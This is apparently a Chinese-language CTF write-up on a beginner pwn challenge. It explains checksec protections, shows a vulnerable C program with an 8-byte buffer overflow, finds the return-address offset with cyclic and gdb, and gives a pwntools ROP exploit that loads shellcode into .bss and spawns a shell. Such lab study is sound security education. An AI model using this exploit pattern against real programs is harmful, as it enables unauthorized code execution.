我是跟着教程 https://www.bilibili.com/video/av14824239?from=search&seid=14623454945684351685 来做的
是最基础的shellcode的题目
程序地址:http://pan.baidu.com/s/1qYFjBlU 密码:j32w
拿到程序,我们先file static
分析一下程序:
关注点为 32位ELF,动态链接
接着我们要用checksec来检测elf运行于哪个平台,开启了什么安全措施,如果用gcc的编译后,默认会开启所有的安全措施。
我们输入checksec static
来看程序开启了哪些保护措施
这里简单介绍一下各字段的含义:
Arch:
只文件运行的平台为:32位的i386,小端字节序列
RELRO:
RELRO会有Partial RELRO和FULL RELRO,如果开启FULL RELRO,意味着我们无法修改got表
Stack:
如果栈中开启Canary found,那么就不能用直接用溢出的方法覆盖栈中返回地址,而且要通过改写指针与局部变量、leak canary、overwrite canary的方法来绕过
NX: (No-eXecute) 不可执行的意思
,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。
若为:NX enabled 这个保护就会开启,意味着栈中数据没有执行权限,以前的经常用的call esp或者jmp esp的方法就不能使用,但是可以利用rop这种方法绕过
PIE: (Postion-Indenpendent executable)
地址无关可执行文件,对应windows上ASLR机制,一般情况下NX(Windows平台上称其为DEP)和地址空间分布随机化(ASLR)会同时工作。ASLR和DEP配合使用,能有效阻止攻击者在堆栈上运行恶意代码。
若为:PIE enabled,则程序开启了这个地址随机化选项,就意味着程序每次运行的时候地址都会变化,而现在是没有开PIE的,那么No PIE (0x8048000),括号内的数据就是程序的基地址
RXW:
即我们平常对文件的三个权限 read execute write,这里指有可读可写可执行的段。
这个程序就比较简单了,NX和PIE都没有开启,我们就可以利用传统的思路把shellcode通过read写到栈中,导致栈溢出覆盖返回地址,并且要实现正好shellcode被存放在返回地址的位置,这样就会实现程序执行我们构造的恶意代码(这里可能有你想要了解的一些有关shellcode的知识)
我们的static.c代码如下:
#include <stdio.h>
#include <unistd.h>
void init(){
setvbuf(stdout, NULL, _IOLBF, 0);
}
void welcome(){
write(1, "Welcome to zsctf!\n", 21);
}
void vuln(){
char buffer[8] = {0};
read(0, buffer, 0x40);
}
int main(){
init();
welcome();
vuln();
return 0;
}
让我们先来看一下程序运行起来是什么样的,但是,当我们在运行的时候,发现,明明有这个文件,却显示找不到文件。
原因就在于:并不是文件不存在,而是bash不识别该执行文件。
file一下执行文件发现是32位的,而我的虚拟机则是64位的,那么问题的症结就出现在这里了,Ubuntu 14.04 好像把32位支持库取消了,需要用户自己安装,安装命令如下:
sudo apt-get install lib32z1**
即可运行程序了
我们通过看static.c代码发现可以通过read函数将shellcode写到栈中,导致栈溢出覆盖返回地址。那这里我们要将shellcode读到哪里去呢?由于我们已进知道在函数调用时栈的变化,(不清楚参考这里)我们就知道要将其读到程序的.bss段中(因为.bss段中存放的是程序中未初始化的全
局变量和静态变量)
因此我们需要解决两个问题:1。bss段的地址 2。要覆盖的返回地址的地址
1⃣️我们的bss段地址可以在IDA中得到
2⃣️我们接着来确定这个程序它的返回地址是多少。
我们先用cyclic生成100个字符,将其复制下来:
然后在gdb中(装有peda插件),我们运行gdb ./static
让其start
运行,然后输入continue
,之后,将我们生成的字符输进去,会发现缓冲区溢出报错。此时,就是因为我们输入的数据的长度大于缓冲区的长度,导致栈溢出将函数返回地址覆盖。我们可以看到:
这边报错的就是无效的IP地址,也就是我们要找到的eip
我们通过cyclic -l 0x61616166
命令
可以发现当偏移为20的时候,存的就是它的返回地址了
这时我们就可以来构建我们自己的exp
from pwn import *
import time
bss_addr = 0x804A024
proc = './static'
context.binary = proc
shellcode = asm(shellcraft.sh())
p = process(proc)
p.recvuntil("Welcome to zsctf!");
rop = ROP(proc)
rop.read(0,bss_addr + 0x100,len(shellcode))
rop.call(bss_addr + 0x100)
p.send('a'*20 + str(rop))
time.sleep(1)
p.send(shellcode)
p.interactive()
其实在整个实验中还是有盲点的,比如pwn库的使用和shellcode的编写。
http://yunnigu.dropsec.xyz/2016/10/08/checksec及其包含的保护机制/#checksec及其包含的保护机制 (这是一篇关于linux下栈保护机制很好的文章)
参考的文章和博客:
https://paper.seebug.org/481/ (介绍PWN的知识点特别详细,大力推荐)
http://tacxingxing.com/2017/07/16/nx-aslr/
https://pwntools.readthedocs.io/en/stable/ (pwntools官方文档)
http://yugod.xmutsec.com/index.php/2018/05/07/37.html